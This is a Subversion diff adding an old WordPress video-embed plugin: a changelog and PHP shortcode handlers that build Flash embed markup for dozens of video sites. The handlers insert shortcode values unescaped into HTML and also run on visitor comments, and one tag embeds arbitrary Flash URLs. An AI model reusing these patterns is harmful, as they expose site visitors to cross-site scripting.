+* removed stage6 code; site is shutdown
+* updated code for vimeo 
+
+= 0.65 - 10.03.2008 =
+* fixed bug on line 119 and 92
+* fixed problem with fullscreen player for dailymotion
+
+= 0.64 - 02.03.2008 =
+* added support for:
+- mncast.com
+- youtube playlist
+- msn (soapbox)
+
+= 0.63 - 29.12.2007 =
+* added support for:
+- Jumpcut
+- Collegehumor
+- Hamburg1 Video
+
+= 0.62 - 28.11.2007 =
+* added support for:
+- comedycentral by Antonio (http://www.landofbile.com/blog/)
+- reason.tv by Antonio 
+
+= 0.61 - 25.11.2007 =
+* added support for:
+- implemented size by <a href="http://www.dickes-en.de">Wolfgang Neikes</a> 
+- vsocial
+- teachertube by -drmike
+- SlideShare developed by <a href="www.mikrosklave.net">Peter Weiland</a>, included by <a href="http://www.bertdesign.de/blog">Markus Bertling</a>
+* first try of making flashplayersize configurable -->test it with youtube
+
+= 0.60 - 15.10.2007 =
+* added support for:
+- last.fm
+- Sumo.tv
+* testing svn-access to worpress plugin directory
+
+= 0.57 - 05.10.2007 =
+* added support for:
+- Aniboom
+- Brightcove
+- 123video.nl
+
+= 0.56 - 16.08.2007 =
+* added support for:
+- Cellfish.com
+
+= 0.55 - 31.07.2007 =
+* added support for:
+- tu.tv
+- Stage6
+
+= 0.54 - 28.07.2007 =
+* added support for:
+- Yahoo! Video
+- myspacetv
+- IFILM.com
+- VEOH.com
+- GameTrailers.com - thanks to Johno
+- GameVideos.com - thanks to Johno
+- Glumbert - thanks to Dwayne Bailey
+- Wandeo - thanks to PyPe
+
+= 0.53 - 16.06.2007 =
+* added support for LiveLeak.com - thanks to Whiteman
+
+= 0.52 - 18.02.2007 =
+* added patch for youtube ids, which were converted wrong, thanks to Sigve Indregard from http://indregard.no
+
+= 0.51 - 17.02.2007 =
+* renamed the plugin -> now it works with update plugin
+* videos from videotube should not auto play anymore
+
+= 0.5 - 15.02.2007 =
+* added support for:
+- break.com
+- metacafe
+- vimeo
+- videotube
+- blip.tv
+- revver
+- UnCut
+- Grouper
+
+* hopefully solved overlapping problem
+
+= 0.4 - 28.12.2006 =
+* added support for:
+- sevenload
+- dailymotion
+
+= 0.3 - 15.12.2006 =
+* removed wrong code for youtube videos
+* better support for clipfish
+
+= 0.2 - 13.12.2006 =
+* first official version of this plugin
+* added support for:
+- MyVideo
+- Clipfish
+
+= 0.1 - 13.12.2006 =
+* first version
+* support for:
+- Youtube
+- Google Video
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-video-plugin/videos.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-video-plugin/videos.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-video-plugin/videos.php	(revision 44)
@@ -0,0 +1,1861 @@
+<?php
+/*
+Plugin Name: Wordpress Video Plugin
+Plugin URI: http://www.daburna.de/blog/2006/12/13/wordpress-video-plugin/
+Description: A filter for WordPress that displays videos from myvideo.de, youtube, google video, Brightcove, Aniboom, 123video.nl, MyspaceTV, Yahoo! Video, Veoh, Wandeo, Glumbert, Gametrailers, Gamevideos, LiveLeak, sevenload.de, clipfish.de, break.com, Metacafe, dailymotion.com, Vimeo, videotube, blip.tv, revver, IFILM, Tu.tv, grouper, Cellfish.com, Sumo.tv, Last.fm, Vsocial, teachertube, SlideShare, Jumpcut, MSN, GoalVideoz, Guba, wat.tv, Facebook, Flickr Video, Kewego, Smotri.Com...and many more.
+Version: 0.71
+Author: Oliver Wunder 
+Author URI: http://www.daburna.de/
+
+
+*/
+
+// Kewego Code
+
+define("KEWEGO_WIDTH", 400); // default width
+define("KEWEGO_HEIGHT", 300); // default height
+define("KEWEGO_PLAYERKEY", "9c37f60da51b"); //player key 
+define("KEWEGO_SKINKEY", "71703ed5cea1"); //skin key
+define("KEWEGO_LCODE", "fr"); //language code
+define("KEWEGO_REGEXP", "/\[kewego ([[:print:]]+)\]/");
+
+define("KEWEGO_TARGET", "<object name=\"iLyROoafJCWA\" id=\"iLyROoafJCWA\" type=\"application/x-shockwave-flash\" data=\"http://sa.kewego.com/swf/p3/epix.swf\" width=\"###WIDTH###\" height=\"###HEIGHT###\">  <param name=\"flashVars\" value=\"language_code=###LCODE###&playerKey=###PKEY###&skinKey=###SKEY###&sig=###URL###&autostart=false\" />  <param name=\"movie\" value=\"http://sa.kewego.com/swf/p3/epix.swf\" />  <param name=\"allowFullScreen\" value=\"true\" />  <param name=\"allowscriptaccess\" value=\"always\" /></object>");
+
+function kewego_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = KEWEGO_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	$output = str_replace("###LCODE###", KEWEGO_LCODE, $output);
+	$output = str_replace("###PKEY###", KEWEGO_PLAYERKEY, $output);
+	$output = str_replace("###SKEY###", KEWEGO_SKINKEY, $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", KEWEGO_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", KEWEGO_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", KEWEGO_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", KEWEGO_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function kewego_plugin($content)
+{
+	return (preg_replace_callback(KEWEGO_REGEXP, 'kewego_plugin_callback', $content));
+}
+
+add_filter('the_content', 'kewego_plugin', 1);
+add_filter('the_content_rss', 'kewego_plugin');
+add_filter('comment_text', 'kewego_plugin');
+
+// FLICKR CODE by an anonymous user
+
+define("FLICKR_WIDTH", 308); // default width
+define("FLICKR_HEIGHT", 250); // default height
+define("FLICKR_REGEXP", "/\[flickr ([[:print:]]+)\]/");
+define("FLICKR_TARGET", "<object type=\"application/x-shockwave-flash\" width=\"###WIDTH###\" height=\"###HEIGHT###\" data=\"http://www.flickr.com/apps/video/stewart.swf?v=71377\"><param name=\"flashvars\" value=\"intl_lang=en-us&photo_secret=1669be43ac&photo_id=###URL###&hd_default=false\"></param><param name=\"movie\" value=\"http://www.flickr.com/apps/video/stewart.swf?v=71377\" /><param name=\"bgcolor\" value=\"#000000\"></param><param name=\"allowFullScreen\" value=\"true\" /><embed src=\"http://www.flickr.com/apps/video/stewart.swf?v=71377\" type=\"application/x-shockwave-flash\" allowfullscreen=\"true\" bgcolor=\"#0000000\" flashvars=\"intl_lang=en-us&photo_secret=1669be43ac&photo_id=###URL###&hd_default=false\" width=\"###WIDTH###\" height=\"###HEIGHT###\"></embed></object>");
+
+function flickr_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = FLICKR_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", FLICKR_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", FLICKR_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", FLICKR_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", FLICKR_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function flickr_plugin($content)
+{
+	return (preg_replace_callback(FLICKR_REGEXP, 'flickr_plugin_callback', $content));
+}
+
+add_filter('the_content', 'flickr_plugin',1);
+add_filter('the_content_rss', 'flickr_plugin');
+add_filter('comment_text', 'flickr_plugin');
+
+// FB Code
+// Code for FaceBook video
+// credits: roberto scano http://robertoscano.info
+
+define("FB_WIDTH", 470);
+define("FB_HEIGHT", 306);
+define("FB_REGEXP", "/\[FB ([[:print:]]+)\]/");
+define("FB_TARGET", "<object type=\"application/x-shockwave-flash\"
+data=\"http://www.facebook.com/v/###URL###\" width=\"".FB_WIDTH."\"
+height=\"".FB_HEIGHT."\"><param name=\"autostart\" value=\"false\" /><param
+name=\"movie\" value=\"http://www.facebook.com/v/###URL###\" /></object>");
+
+function FB_plugin_callback($match) {
+	$output = FB_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function FB_plugin($content) {
+	return preg_replace_callback(FB_REGEXP, 'FB_plugin_callback',
+$content);
+}
+
+add_filter('the_content', 'FB_plugin');
+add_filter('comment_text', 'FB_plugin');
+
+// current code
+
+define("CURRENT_WIDTH", 400); // default width
+define("CURRENT_HEIGHT", 342); // default height
+define("CURRENT_REGEXP", "/\[current ([[:print:]]+)\]/");
+define("CURRENT_TARGET", "<object width=\"###WIDTH###\"  height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://current.com/e/###URL###/en_US\"></param><param name=\"wmode\" value=\"transparent\"></param><param name=\"allowfullscreen\" value=\"true\"></param><param name=\"allowscriptaccess\" value=\"always\"></param><embed src=\"http://current.com/e/###URL###/en_US\" type=\"application/x-shockwave-flash\"  width=\"###WIDTH###\"  height=\"###HEIGHT###\" wmode=\"transparent\" allowfullscreen=\"true\" allowscriptaccess=\"always\"></embed></object>");
+
+function current_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = CURRENT_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", CURRENT_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", CURRENT_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", CURRENT_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", CURRENT_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function current_plugin($content)
+{
+	return (preg_replace_callback(CURRENT_REGEXP, 'current_plugin_callback', $content));
+}
+
+add_filter('the_content', 'current_plugin');
+add_filter('the_content_rss', 'current_plugin');
+add_filter('comment_text', 'current_plugin');
+
+
+// screencast-o-matic code
+
+define("SCREENCAST_WIDTH", 504); // default width
+define("SCREENCAST_HEIGHT", 424); // default height
+define("SCREENCAST_REGEXP", "/\[screencast ([[:print:]]+)\]/");
+define("SCREENCAST_TARGET", "<object width=\"###WIDTH###\"  height=\"###HEIGHT###\" data=\"http://www.screencast-o-matic.com/embed?sc=###URL###&w=500&np=0&v=2\" type=\"text/html\"></object>");
+
+function screencast_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = SCREENCAST_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", SCREENCAST_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", SCREENCAST_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", SCREENCAST_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", SCREENCAST_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function screencast_plugin($content)
+{
+	return (preg_replace_callback(SCREENCAST_REGEXP, 'screencast_plugin_callback', $content));
+}
+
+add_filter('the_content', 'screencast_plugin');
+add_filter('the_content_rss', 'screencast_plugin');
+add_filter('comment_text', 'screencast_plugin');
+
+// dotSUB code
+
+define("DOTSUB_WIDTH", 420); // default width
+define("DOTSUB_HEIGHT", 347); // default height
+define("DOTSUB_REGEXP", "/\[dotsub ([[:print:]]+)\]/");
+define("DOTSUB_TARGET", "<object width=\"###WIDTH###\"  height=\"###HEIGHT###\" data=\"http://dotsub.com/media/###URL###/e/m\" type=\"text/html\"></object>");
+
+function dotsub_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = DOTSUB_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", DOTSUB_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", DOTSUB_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", DOTSUB_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", DOTSUB_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function dotsub_plugin($content)
+{
+	return (preg_replace_callback(DOTSUB_REGEXP, 'dotsub_plugin_callback', $content));
+}
+
+add_filter('the_content', 'dotsub_plugin');
+add_filter('the_content_rss', 'dotsub_plugin');
+add_filter('comment_text', 'dotsub_plugin');
+
+
+// OnSMASH code
+
+define("ONSMASH_WIDTH", 448); // default width
+define("ONSMASH_HEIGHT", 374); // default height
+define("ONSMASH_REGEXP", "/\[onsmash ([[:print:]]+)\]/");
+define("ONSMASH_TARGET", "<object width=\"###WIDTH###\"  height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://videos.onsmash.com/e/###URL###\"></param><param name=\"allowFullscreen\" value=\"true\"><param name=\"allowScriptAccess\" value=\"always\"></param><param name=\"allowNetworking\" value=\"all\"></param><embed src=\"http://videos.onsmash.com/e/###URL###\" type=\"application/x-shockwave-flash\" allowFullScreen=\"true\" allowNetworking=\"all\" allowScriptAccess=\"always\" width=\"###WIDTH###\"  height=\"###HEIGHT###\"></embed></object>");
+
+function onsmash_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = ONSMASH_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", ONSMASH_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", ONSMASH_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", ONSMASH_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", ONSMASH_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function onsmash_plugin($content)
+{
+	return (preg_replace_callback(ONSMASH_REGEXP, 'onsmash_plugin_callback', $content));
+}
+
+add_filter('the_content', 'onsmash_plugin');
+add_filter('the_content_rss', 'onsmash_plugin');
+add_filter('comment_text', 'onsmash_plugin');
+
+
+// Smotri.Com code
+
+define("SMOTRI_WIDTH", 400); // default width
+define("SMOTRI_HEIGHT", 330); // default height
+define("SMOTRI_REGEXP", "/\[smotri ([[:print:]]+)\]/");
+define("SMOTRI_TARGET", "<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://pics.smotri.com/scrubber_custom8.swf?file=###URL###&bufferTime=3&autoStart=false&str_lang=eng&xmlsource=http%3A%2F%2Fpics.smotri.com%2Fcskins%2Fblue%2Fskin_color_lightaqua.xml&xmldatasource=http%3A%2F%2Fpics.smotri.com%2Fskin_ng.xml\" /><param name=\"allowScriptAccess\" value=\"always\" /><param name=\"allowFullScreen\" value=\"true\" /><param name=\"bgcolor\" value=\"#ffffff\" /><embed src=\"http://pics.smotri.com/scrubber_custom8.swf?file=###URL###&bufferTime=3&autoStart=false&str_lang=eng&xmlsource=http%3A%2F%2Fpics.smotri.com%2Fcskins%2Fblue%2Fskin_color_lightaqua.xml&xmldatasource=http%3A%2F%2Fpics.smotri.com%2Fskin_ng.xml\" quality=\"high\" allowscriptaccess=\"always\" allowfullscreen=\"true\" wmode=\"window\"  width=\"###WIDTH###\" height=\"###HEIGHT###\" type=\"application/x-shockwave-flash\"></embed></object>");
+
+function smotri_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = SMOTRI_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", SMOTRI_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", SMOTRI_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", SMOTRI_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", SMOTRI_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function smotri_plugin($content)
+{
+	return (preg_replace_callback(SMOTRI_REGEXP, 'smotri_plugin_callback', $content));
+}
+
+add_filter('the_content', 'smotri_plugin');
+add_filter('the_content_rss', 'smotri_plugin');
+add_filter('comment_text', 'smotri_plugin');
+
+// wat.tv code by Bertimus (http://www.born2buzz.com/)
+
+define("WAT_WIDTH", 430); // default width
+define("WAT_HEIGHT", 385); // default height
+define("WAT_REGEXP", "/\[wat ([[:print:]]+)\]/");
+define("WAT_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://www.wat.tv/swf2/###URL###\" /><param name=\"allowScriptAccess\" value=\"always\" /><param name=\"allowFullScreen\" value=\"true\" /><embed src=\"http://www.wat.tv/swf2/###URL###\" type=\"application/x-shockwave-flash\" width=\"###WIDTH###\" height=\"###HEIGHT###\" allowScriptAccess=\"always\" allowFullScreen=\"true\"></embed></object>");
+
+function wat_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = WAT_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", WAT_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", WAT_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", WAT_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", WAT_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function wat_plugin($content)
+{
+	return (preg_replace_callback(WAT_REGEXP, 'wat_plugin_callback', $content));
+}
+
+add_filter('the_content', 'wat_plugin');
+add_filter('the_content_rss', 'wat_plugin');
+add_filter('comment_text', 'wat_plugin');
+
+// Guba code
+
+define("GUBA_WIDTH", 375); // default width
+define("GUBA_HEIGHT", 360); // default height
+define("GUBA_REGEXP", "/\[guba ([[:print:]]+)\]/");
+define("GUBA_TARGET", "<embed src=\"http://www.guba.com/f/root.swf?video_url=http://free.guba.com/uploaditem/###URL###/flash.flv&isEmbeddedPlayer=true\" quality=\"best\" bgcolor=\"#FFFFFF\" menu=\"true\" width=\"###WIDTH###\" height=\"###HEIGHT###\" name=\"root\" id=\"root\" align=\"middle\" scaleMode=\"noScale\" allowScriptAccess=\"always\" allowFullScreen=\"true\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\"></embed>");
+
+function guba_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = GUBA_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", GUBA_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", GUBA_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", GUBA_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", GUBA_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function guba_plugin($content)
+{
+	return (preg_replace_callback(GUBA_REGEXP, 'guba_plugin_callback', $content));
+}
+
+add_filter('the_content', 'guba_plugin');
+add_filter('the_content_rss', 'guba_plugin');
+add_filter('comment_text', 'guba_plugin');
+
+
+// GoalVideoz code
+
+define("GOALVIDEOZ_WIDTH", 425); // default width
+define("GOALVIDEOZ_HEIGHT", 350); // default height
+define("GOALVIDEOZ_REGEXP", "/\[goalvideoz ([[:print:]]+)\]/");
+define("GOALVIDEOZ_TARGET", "<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0\" width=\"###WIDTH###\" height=\"###HEIGHT###\" id=\"vpod2\ align=\"middle\"><param name=\"allowScriptAccess\" value=\"sameDomain\" /><param name=\"wmode\" value=\"transparent\"><param name=\"movie\" value=\"http://www.goalvideoz.com/vpod2.swf?id=###URL###\" /><param name=\"quality\" value=\"high\" /><embed src=\"http://www.goalvideoz.com/vpod2.swf?id=###URL###\" quality=\"high\" width=\"###WIDTH###\" height=\"###HEIGHT###\" name=\"vpod\" align=\"middle\" allowScriptAccess=\"sameDomain\" type=\"application/x-shockwave-flash\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" /></object>");
+
+function goalvideoz_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = GOALVIDEOZ_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", GOALVIDEOZ_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", GOALVIDEOZ_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", GOALVIDEOZ_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", GOALVIDEOZ_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function goalvideoz_plugin($content)
+{
+	return (preg_replace_callback(GOALVIDEOZ_REGEXP, 'goalvideoz_plugin_callback', $content));
+}
+
+add_filter('the_content', 'goalvideoz_plugin');
+add_filter('the_content_rss', 'goalvideoz_plugin');
+add_filter('comment_text', 'goalvideoz_plugin');
+
+// mojvideo.com Slovenska Video Skupnost code
+
+define("MOJVIDEO_WIDTH", 400); // default width
+define("MOJVIDEO_HEIGHT", 320); // default height
+define("MOJVIDEO_REGEXP", "/\[mojvideo ([[:print:]]+)\]/");
+define("MOJVIDEO_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://www.mojvideo.com/v/###URL###\"></param><param name=\"wmode\" value=\"transparent\"></param><embed src=\"http://www.mojvideo.com/v/###URL###\" type=\"application/x-shockwave-flash\" wmode=\"transparent\" width=\"###WIDTH###\" height=\"###HEIGHT###\"></embed></object>");
+
+function mojvideo_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = MOJVIDEO_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", MOJVIDEO_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", MOJVIDEO_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", MOJVIDEO_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", MOJVIDEO_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function mojvideo_plugin($content)
+{
+	return (preg_replace_callback(MOJVIDEO_REGEXP, 'mojvideo_plugin_callback', $content));
+}
+
+add_filter('the_content', 'mojvideo_plugin');
+add_filter('the_content_rss', 'mojvideo_plugin');
+add_filter('comment_text', 'mojvideo_plugin');
+
+
+// ClipSyndicate Code by Antonio SJ Musumeci
+
+define("CLIPSYN_WIDTH", 300); // default width
+define("CLIPSYN_HEIGHT", 265); // default height
+define("CLIPSYN_REGEXP", "/\[clipsyndicate ([[:print:]]+)\]/");
+define("CLIPSYN_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT###\"><param name=\"movie\" value=\"http://eplayer.clipsyndicate.com/cs_api/get_swf\"></param><param name=\"flashvars\" value=\"swfHome=eplayer.clipsyndicate.com&va_id=###URL###\"></param><embed src=\"http://eplayer.clipsyndicate.com/cs_api/get_swf\" flashvars=\"swfHome=eplayer.clipsyndicate.com&va_id=###URL###\" type=\"application/x-shockwave-flash\" width=\"###WIDTH###\" height=\"###HEIGHT###\"></embed></object>");
+
+function clipsyn_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = CLIPSYN_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", CLIPSYN_WIDTH, $output);
+		} else {
+			$output = str_replace("###WIDTH###", $tag_parts[2], $output);
+		}
+		if ($tag_parts[3] == 0) {
+			$output = str_replace("###HEIGHT###", CLIPSYN_HEIGHT, $output);
+		} else {
+			$output = str_replace("###HEIGHT###", $tag_parts[3], $output);
+		}
+	} else {
+		$output = str_replace("###WIDTH###", CLIPSYN_WIDTH, $output);
+		$output = str_replace("###HEIGHT###", CLIPSYN_HEIGHT, $output);	
+	}
+	return ($output);
+}
+function clipsyn_plugin($content)
+{
+	return (preg_replace_callback(CLIPSYN_REGEXP, 'clipsyn_plugin_callback', $content));
+}
+
+add_filter('the_content', 'clipsyn_plugin');
+add_filter('the_content_rss', 'clipsyn_plugin');
+add_filter('comment_text', 'clipsyn_plugin');
+
+
+// Youreporter Code by Giacomo
+
+define("YOUREPORTER_WIDTH", 450);
+define("YOUREPORTER_HEIGHT", 340);
+define("YOUREPORTER_REGEXP", "/\[youreporter ([[:print:]]+)\]/");
+define("YOUREPORTER_TARGET", "<embed src=\"http://www.youreporter.it/player/flv.swf\" width=\"".YOUREPORTER_WIDTH."\" height=\"".YOUREPORTER_HEIGHT."\"allowscriptaccess=\"always\" allowfullscreen=\"true\" flashvars=\"config=http://www.youreporter.it/player/ext/config.xml.php?vkey=###URL###%26colors=youreporter%26size=normale\" menu=\"false\" />");
+
+function youreporter_plugin_callback($match) {
+	$output = YOUREPORTER_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function youreporter_plugin($content) {
+	return preg_replace_callback(YOUREPORTER_REGEXP,
+'youreporter_plugin_callback', $content);
+}
+
+add_filter('the_content', 'youreporter_plugin');
+add_filter('the_content_rss', 'youreporter_plugin');
+add_filter('comment_text', 'youreporter_plugin');
+
+// Generic Flash Code by Francisco Monteagudo
+
+define("GENERIC_FLASH_WIDTH", 425);
+define("GENERIC_FLASH_HEIGHT", 350);
+define("GENERIC_FLASH_REGEXP", "/\[flash ([[:print:]]+)\]/");
+define("GENERIC_FLASH_TARGET", "<object type=\"application/x-shockwave-flash\" data=\"###URL###\" width=\"".GENERIC_FLASH_WIDTH."\" height=\"".GENERIC_FLASH_HEIGHT."\" wmode=\"transparent\"/></object>");
+
+function generic_flash_plugin_callback($match) {
+	$output = GENERIC_FLASH_TARGET;
+	$output = str_replace("###URL###", $match[1], $output);
+	return ($output);
+}
+
+function generic_flash_plugin($content) {
+	return preg_replace_callback(GENERIC_FLASH_REGEXP, 'generic_flash_plugin_callback', $content);
+}
+
+add_filter('the_content', 'generic_flash_plugin');
+add_filter('the_content_rss', 'generic_flash_plugin');
+add_filter('comment_text', 'generic_flash_plugin');
+
+
+// Funny or Die
+
+define("FUNNYORDIE_WIDTH", 464); // default width
+define("FUNNYORDIE_HEIGHT", 388); // default height
+define("FUNNYORDIE_REGEXP", "/\[funnyordie ([[:print:]]+)\]/");
+define("FUNNYORDIE_TARGET", "<object width=\"###WIDTH###\" height=\"###HEIGHT####\" classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"><param name=\"movie\" value=\"http://www2.funnyordie.com/public/flash/fodplayer.swf?6045\" /><param name=\"flashvars\" value=\"key=###URL###\" /><param name=\"allowfullscreen\" value=\"true\" /><embed width=\"###WIDTH###\" height=\"###HEIGHT###\" flashvars=\"key=###URL###\" allowfullscreen=\"true\" quality=\"high\" src=\"http://www2.funnyordie.com/public/flash/fodplayer.swf?6045\" type=\"application/x-shockwave-flash\"></embed></object>");
+
+function funnyordie_plugin_callback($match)
+{
+	$tag_parts = explode(" ", rtrim($match[0], "]"));
+	$output = FUNNYORDIE_TARGET;
+	$output = str_replace("###URL###", $tag_parts[1], $output);
+	if (count($tag_parts) > 2) {
+		if ($tag_parts[2] == 0) {
+			$output = str_replace("###WIDTH###", FUNNYORDIE_WIDTH, $output);
+		} else {
